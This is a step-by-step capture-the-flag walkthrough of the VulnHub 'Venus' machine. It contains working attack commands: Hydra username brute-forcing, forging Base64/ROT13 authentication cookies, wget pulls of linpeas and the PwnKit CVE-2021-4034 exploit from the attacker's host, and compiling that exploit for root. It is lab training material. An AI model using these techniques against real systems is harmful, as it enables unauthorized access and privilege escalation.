Walking on Venus

The Planets: Venus

About Release

• Name: The Planets: Venus
• Date release: 3 Jun 2021
• Author: SirFlash
• Series: The Planets

Step 1 — Host Discovery

I used sudo arp-scan -l to send ARP requests across my local network to discover all active devices. The scan returned 4 addresses, two of which were locally administered VirtualBox network services, leaving two unknown hosts as potential targets.

Command breakdown:

sudo — runs the command with admin (root) privileges

arp-scan — sends ARP requests to discover live hosts on the network

• l — scans the local network automatically based on your IP range

Step 2 — Port Scanning

I ran nmap -sV -Pn 10.0.3.4 to scan the target for open ports and identify what services were running on them. The scan revealed two open ports:

• Port 22 — SSH (OpenSSH)
• Port 8080 — HTTP web server

Command breakdown:

• -sV — detects the service and version running on each open port
• -Pn — skips the ping check and treats the host as online

Step 3 — Web Enumeration

Since port 8080 was open and running a web server, I navigated to http://10.0.3.4:8080 in the browser to see what was hosted there. I was presented with a login screen and tested the default credentials guest:guest. Access was granted, revealing a page with an image and some basic facts. While nothing immediately useful was found, gaining access confirmed that weak default credentials were accepted by the application.

Step 4 — Directory Enumeration

Since the guest page didn't reveal anything useful, I used Gobuster to brute-force hidden directories on the web server.

Command: gobuster dir -u http://10.0.3.4:8080/ -w /usr/share/wordlists/dirb/common.txt

• dir — search for hidden directories
• -u — the target URL
• -w — the wordlist containing thousands of common directory names to try

Gobuster discovered one directory: /admin. An admin page is always a valuable find as it often contains a login portal that could grant elevated access to the application.

Step 5 — Admin Page Discovery

I navigated to http://10.0.3.4:8080/admin to explore the admin directory. I was presented with a login page and tested the default credentials admin:admin to see how the application would respond. The server returned a 500 error, which while not granting access, confirmed the page was active and processing login attempts. This told me the application was worth pursuing further.

Step 6 — Username Enumeration with Hydra

I used Hydra to brute-force valid usernames against the login page, testing each name from a wordlist against a single password.

Hydra identified two valid usernames: magellan and venus. The tool confirmed these by noting that the server did not return an "Invalid username" response for them. Attempting to log in with these usernames through the browser still returned a 500 error, meaning more work was needed to find their actual passwords.

Command: hydra -L usernames.txt -p pass -s 8080 10.0.3.4 http-post-form "/:username=^USER^&password=^PASS^:Invalid username"

• -L usernames.txt — the wordlist of usernames to try
• -p pass — a single password to test against each username
• -s 8080 — the port to attack
• http-post-form — tells Hydra this is a HTTP POST login form
• "/:username=^USER^&password=^PASS^:Invalid username" the form structure and the error message returned on failed attempts

Step 7 — Intercepting Traffic with Burp Suite

I opened Burp Suite and configured Firefox to route traffic through it by setting the browser proxy to 127.0.0.1 on port 8080. This allows Burp Suite to sit between the browser and the web server and capture every request and response.

I turned on Intercept under the Proxy tab, then logged into the web app using the guest:guest credentials. Burp Suite caught the request. I clicked Forward to let it through and then checked the HTTP History tab to review the full request and response.

In the response I found an authentication cookie: auth=Z3Vlc3Q6dGhyZmc=

The cookie value is a Base64 encoded string, meaning the authentication information is being stored in an encoded format inside the cookie rather than plain text. I took the value to CyberChef and used From Base64 to decode it, which revealed:

guest:thrfg

The cookie stores the username and password separated by a colon. The password thrfg is not the actual password, it is guest encoded in ROT13, a cipher that shifts every letter 13 places forward in the alphabet. This means the application is using a weak and predictable method to obscure passwords in its cookies.

Step 8 — Forging an Authentication Cookie

Now that I understood the cookie format, I attempted to forge a cookie to impersonate the user venus without knowing their actual password.

The cookie format follows this pattern: username:ROT13(password) encoded in Base64.

I used CyberChef to build the forged cookie:

1. Encoded venus with ROT13 which gave me irahf
2. Combined them as venus:irahf
3. Encoded the whole string with To Base64 which output dmVudXM6aXJhaGY=

I then went to Burp Suite's Repeater tab, replaced the original auth cookie with auth=dmVudXM6aXJhaGY= and sent the request to see if the server would grant access to the venus account.

Step 9 — Discovering Magellan's Password

After successfully forging the venus cookie, I applied the same technique to magellan. I sent the forged magellan cookie to Burp Repeater and the server responded with a new cookie in the response:

auth="bWFnZWxsYW46aXJhaGZ2bmF0cmJ5YnRsMTk4OQ=="

I decoded this in CyberChef using From Base64 which revealed magellan:irahfvnatrbybtl1989. Applying ROT13 to the password portion gave me the actual plaintext password: venusiangeology1989.

Step 10 — SSH Access and First Flag

Using the credentials discovered in the previous step, I attempted to log in to the Venus machine via SSH:

ssh magellan@10.0.3.4

When prompted for a password I entered venusiangeology1989 and was granted access. I ran ls to list the files in the directory and spotted the flag. I used cat to read it and captured the first flag.

Step 11 — Attempting to Access Root

After capturing the first flag I attempted to access the root directory:

cd /root

The system returned Permission denied, confirming that magellan is a low privilege user and I will need to escalate privileges to reach the root flag.

Step 12 — Transferring Linpeas to Venus

To find privilege escalation vulnerabilities I needed to get linpeas.sh onto the Venus machine. Linpeas is a script that automatically scans a Linux system for potential vulnerabilities and misconfigurations.

I downloaded linpeas on Kali and started a Python web server in the same directory to act as a file server:

python3 -m http.server 8888

Then from the Venus SSH session I pulled the file down:

wget http://10.0.3.5:8888/linpeas.sh

This allowed the Venus machine to reach out to Kali and download the file over the network.

Step 14 — Running Linpeas

Before running linpeas I first checked the file permissions with ls -l and saw it was not executable. I changed the permissions with:

chmod +x linpeas.sh

• chmod — changes file permissions
• +x — adds execute permission to the file

I then ran the script:

./linpeas.sh

Linpeas scanned the system and output a list of potential vulnerabilities and misconfigurations that could be used to escalate privileges.

Step 15 — Identifying the Privilege Escalation Vector

Linpeas flagged a critical vulnerability in the output:

Pkexec binary has SUID bit set — Potentially vulnerable to CVE-2021–4034 (PwnKit)

/usr/bin/pkexec is a system binary owned by root with the SUID bit set, meaning it runs with root privileges regardless of who executes it. CVE-2021–4034, known as PwnKit, is a well known exploit targeting this binary that allows any low privilege user to escalate to root. This will be the path used to capture the root flag.

Step 16 — Downloading the CVE-2021–4034 Exploit

I downloaded the CVE-2021–4034 exploit source code on Kali and served it to Venus using a Python web server:

curl -k -L https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip -o CVE-2021-4034-main.zip

python3 -m http.server 8888

Then on Venus I pulled it down:

wget ``[http://10.0.3.5:8888/CVE-2021-4034-main.zip](http://10.0.3.5:8888/CVE-2021-4034-main.zip)

Step 17 — Unzipping and Changing to the Exploit Directory

unzip CVE-2021–4034-main.zip

cd CVE-2021–4034-main

Step 18 — Compiling and Running the Exploit

I ran make to compile the exploit from source code, which built the necessary files including pwnkit.so and the cve-2021–4034 binary. Then I executed it:

./cve-2021–4034

The prompt changed to sh-5.1# confirming successful privilege escalation to root.

Step 19 — Capturing the Root Flag

I confirmed root access with whoami which returned root. I then navigated to the /root directory, listed the files and found root_flag.txt. I used cat to read the file and captured the root flag:

root_flag_83588a17919eba10e20aad15081346af

The machine returned a congratulations message confirming the Venus VulnHub CTF was complete.

20th step is to use the credentials to login to the venus machine to verify.